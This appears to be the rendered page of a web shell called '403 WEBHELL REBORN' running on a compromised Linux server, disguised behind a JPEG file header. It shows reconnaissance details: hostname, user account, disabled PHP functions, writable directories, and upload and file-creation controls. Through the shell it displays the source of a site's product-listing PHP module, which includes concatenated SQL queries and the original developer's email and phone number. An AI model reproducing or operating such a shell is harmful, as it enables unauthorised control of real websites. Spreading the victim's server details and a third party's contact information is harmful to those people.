ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache/2
System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User : benhviencoc7 ( 1008)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/benhviencoc7/public_html/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/benhviencoc7/public_html//modules/LS_DSproduct.php
<?php

/*----------------------------------------*\
|             Copyright © C-ILY            | 
|            Phone: 0983.998.994           |
|             Y!m: notepad.html            |
|         Email: truongpv87@gmail.com      |
\*----------------------------------------*/

define('CILY',true);

                    $p_start = ($w3c->rewrite_page -1) * get_option('paging_sp');
                    $show_list_cat = show_dequy($this_cat['id'], 2);

                    if($_COOKIE['order'] == 2) {$order = 'ORDER BY p.product_price DESC'; $w3c->parse('caodenthap');$w3c->parse('oselect2');}
                    elseif($_COOKIE['order'] == 1) {$order = 'ORDER BY p.product_price ASC'; $w3c->parse('thapdencao');$w3c->parse('oselect1');}
                    elseif($_COOKIE['order'] == 4) {$order = 'ORDER BY p.id DESC'; $w3c->parse('moinhat');$w3c->parse('oselect4');}
                    elseif($_COOKIE['order'] == 3) {$order = 'AND p.product_banchay = "1" ORDER BY p.product_timeup DESC'; $w3c->parse('banchay');$w3c->parse('oselect3');}
                    elseif($_COOKIE['order'] == 5) {$order = 'AND p.product_hot = "1" ORDER BY p.product_timeup DESC'; $w3c->parse('sphot');$w3c->parse('oselect5');}
                    elseif($_COOKIE['order'] == 6) {$order = 'AND p.product_nb = "1" ORDER BY p.product_timeup DESC'; $w3c->parse('spnoibat');$w3c->parse('oselect6');}
                    else {$order = 'ORDER BY p.product_timeup DESC'; $w3c->parse('sapxepsanpham');$w3c->parse('oselect4');}

                    if($_COOKIE['price'] == 1) {$price = 'AND p.product_price < 1000';$w3c->parse('xemgia1'); $w3c->parse('select1');}
                    elseif($_COOKIE['price'] == 12) {$price = 'AND p.product_price >= 1000 AND p.product_price < 2000';$w3c->parse('xemgia12');$w3c->parse('select12');}
                    elseif($_COOKIE['price'] == 24) {$price = 'AND p.product_price >= 2000 AND p.product_price < 4000';$w3c->parse('xemgia24');$w3c->parse('select24');}
                    elseif($_COOKIE['price'] == 46) {$price = 'AND p.product_price >= 4000 AND p.product_price < 6000';$w3c->parse('xemgia46');$w3c->parse('select46');}
                    elseif($_COOKIE['price'] == 68) {$price = 'AND p.product_price >= 6000 AND p.product_price < 8000';$w3c->parse('xemgia68');$w3c->parse('select68');}
                    elseif($_COOKIE['price'] == 810) {$price = 'AND p.product_price >= 8000 AND p.product_price < 10000';$w3c->parse('xemgia810');$w3c->parse('select810');}
                    elseif($_COOKIE['price'] == 1015) {$price = 'AND p.product_price >= 10000 AND p.product_price < 15000';$w3c->parse('xemgia1015');$w3c->parse('select1015');}
                    elseif($_COOKIE['price'] == 15) {$price = 'AND p.product_price >= 15000';$w3c->parse('xemgia15');$w3c->parse('select15');}
                    elseif($_COOKIE['price'] == 0) {$price = '';$w3c->parse('xemgia0');$w3c->parse('select0');}
                    else {$price = '';$w3c->parse('xemgia0');$w3c->parse('select0');}
                    setcookie("order", "", time()+30);
                    setcookie("price", "", time()+30);

                    $total_p = @mysql_num_rows(@mysql_query("SELECT p.*, c.id as cid, c.*, p.id AS pid FROM cily_products as p INNER JOIN cily_cats as c ON(c.id = p.product_cat) WHERE p.product_cat IN (".$show_list_cat.") AND c.cat_lang = ".$_SESSION['lang']." AND p.product_show = 1 ".$price." ".$order." "));                  
                    $list_products = @mysql_query("SELECT p.*, c.id as cid, c.*, p.id AS pid FROM cily_products as p INNER JOIN cily_cats as c ON(c.id = p.product_cat) WHERE p.product_cat IN (".$show_list_cat.") AND c.cat_lang = ".$_SESSION['lang']." AND p.product_show = 1 ".$price." ".$order." LIMIT ".$p_start.",".get_option('paging_sp'));    
                    if(!@mysql_num_rows($list_products)) {
                        if ($_COOKIE['price'] != NULL){
                           $w3c->parse('cookie_pro'); 
                        }else {
                            $w3c->parse('nocookie_pro'); 
                        }
                    }


                    while ($item = @mysql_fetch_array ($list_products)){

                        $descrip = explode(' .|~|. ',$item['product_descrip']);
                        if(!$descrip)$dr_total1 = 1;
                            else {
                                foreach ($descrip as $item1) {
                                    $dr_total1 ++;
                                    $it1 = explode(': ',$item1);
                                    
                                }
                            }
                        $w3c->assign(
                            array(
                                'lsCID' => $item['cid'],
                                'lsPID' => $item['pid'],
                                'lsCAT_ascii' => $item['cat_name_ascii'],
                                'lsPro_ascii' => $item['product_name_ascii'],
                                'lsCAT_name' => $item['cat_name'],
                                'lsPro_name' => ($item['product_name']),
                                'lsPro_image' => $item['product_image'],
                                'lsPro_quote' => nl2br(iout($item['product_quote'])),
                                'lsPro_ascii' => $item['product_name_ascii'],
                                'lsPro_price' => ($item['product_price'] == '0')?$lang50:number($item['product_price'] * $tygia).$lang50,
                                'lsPro_free' => number($item['product_free'] * $tygia),
                                'lsPro_msp' => $descrip[0],
                                'lsPro_add' => $descrip[1],
                                'hienthi' => fnumber_format(((($item['product_price'] / $item['product_free']) * 100)-100), 0, '.', ','),
                                'tinhptram' => ((($item['product_price'] / $item['product_free']) * 100)-100),

                            ));

                        if ($item['product_free'] <> '0'){
                            $w3c->parse('show_product_free3');
                            $w3c->parse('show_phantram3', $item['product_free']);
                        }

                        $w3c->parse('list_products');    //  {url}/sp/{lsCAT_ascii}-c{lsCID}/{lsPro_ascii}-p{lsPID}
                    }


//danh mục san pham
                    $danhmuccha = danhmuccha($this_cat['id']);
                    $dm_catsp = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = '0' AND cat_home = 1 AND cat_lang = ".$_SESSION['lang']." AND cat_type = 2 ORDER BY cat_order ASC");
                    while($dmcatsp = @mysql_fetch_array($dm_catsp)) {   

                        $dm_catsp1 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$dmcatsp['id']." AND cat_home = 1 AND cat_type = 2 ORDER BY cat_order ASC");
                        while($dmcatsp1 = @mysql_fetch_array($dm_catsp1)) {             
                            $w3c->assign (
                                array(
                                'cat_idtin1' => $dmcatsp1['id'],
                                'cat_nametin1' => $dmcatsp1['cat_name'],
                                'cat_asciitin1' => $dmcatsp1['cat_name_ascii'],
                                'cat_infotin1' => $dmcatsp1['cat_info'],
                                ));
                            $w3c->parse('dm_catsp1');
                        }


                        $w3c->assign (
                            array(
                            'cat_idtin' => $dmcatsp['id'],
                            'cat_nametin' => $dmcatsp['cat_name'],
                            'cat_asciitin' => $dmcatsp['cat_name_ascii'],
                            'cat_infotin' => $dmcatsp['cat_info'],
                            ));
                        $w3c->parse('dm_catsp');
                    }
//danh mục san pham

                    $w3c->assign('cat_name', $this_cat['cat_name']);
					$w3c->assign('lscat_image', $this_cat['cat_img']);
                    $w3c->assign('pagingindex', pagingindex(get_option('paging_sp'),$w3c->rewrite_page, $total_p, $this_cat['cat_name_ascii']."-c".$this_cat['id'], '-page-' ,false));
                    $w3c->assign(
                        array(
                            'product_all' => $total_p,
                        ));


?>

Anon7 - 2021